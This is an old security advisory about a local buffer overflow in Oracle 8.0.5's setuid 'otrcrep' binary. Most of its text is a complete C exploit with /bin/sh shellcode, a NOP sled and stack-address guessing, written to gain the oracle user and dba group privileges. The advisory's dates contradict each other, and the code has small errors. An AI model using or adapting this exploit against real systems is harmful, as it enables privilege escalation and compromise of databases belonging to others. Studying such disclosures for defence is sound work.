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WWW.PLAZASITE.COM System & Security Division Title: Vulnerability in otrcrep in Oracle 8.0.5 Date: 14-12-2000 Platform: Only tested in Linux, but can be exported to others. Impact: Any user gain euid=oracle and egid=dba. Author: Juan Manuel Pascual (pask_at_plazasite.com) Status: Vendor contacted at 18th July 2001
PROBLEM SUMMARY:
There is a buffer overflow in otrcrep binary that can be use by
local users to obtain euid of oracle user and egid to dba group.
IMPACT:
Any user with local access, can gain euid= oracle and compromise the
integrity of DataBase.
SOLUTION:
Chmod -s.
STATUS:
Vendor was contacted .
/* cc -o evolut otrcrep.c; ./evolut 300 0 */
#include <stdio.h>
#include <stdlib.h>
#define BUFFER 300 #define OFFSET 0 #define NOP 0x90#define BINARY "/home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG" #define ORACLE_HOME "/home/oracle/app/oracle/product/8.0.5"
char shellcode[] =
"\xeb\x1d"
"\x5e"
"\x29\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\x89\x76\x08"
"\xb0\x0b"
"\x87\xf3"
"\x8d\x4b\x08"
"\x8d\x53\x0c"
"\xcd\x80"
"\x29\xc0"
"\x40"
"\xcd\x80"
"\xe8\xde\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
/* void main(int argc, char *argv[]) { */
void main() {
char *buff, *ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset=OFFSET;
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() -1420 -offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",ORACLE_HOME,1); setenv("EGG",buff,1); system(BINARY);
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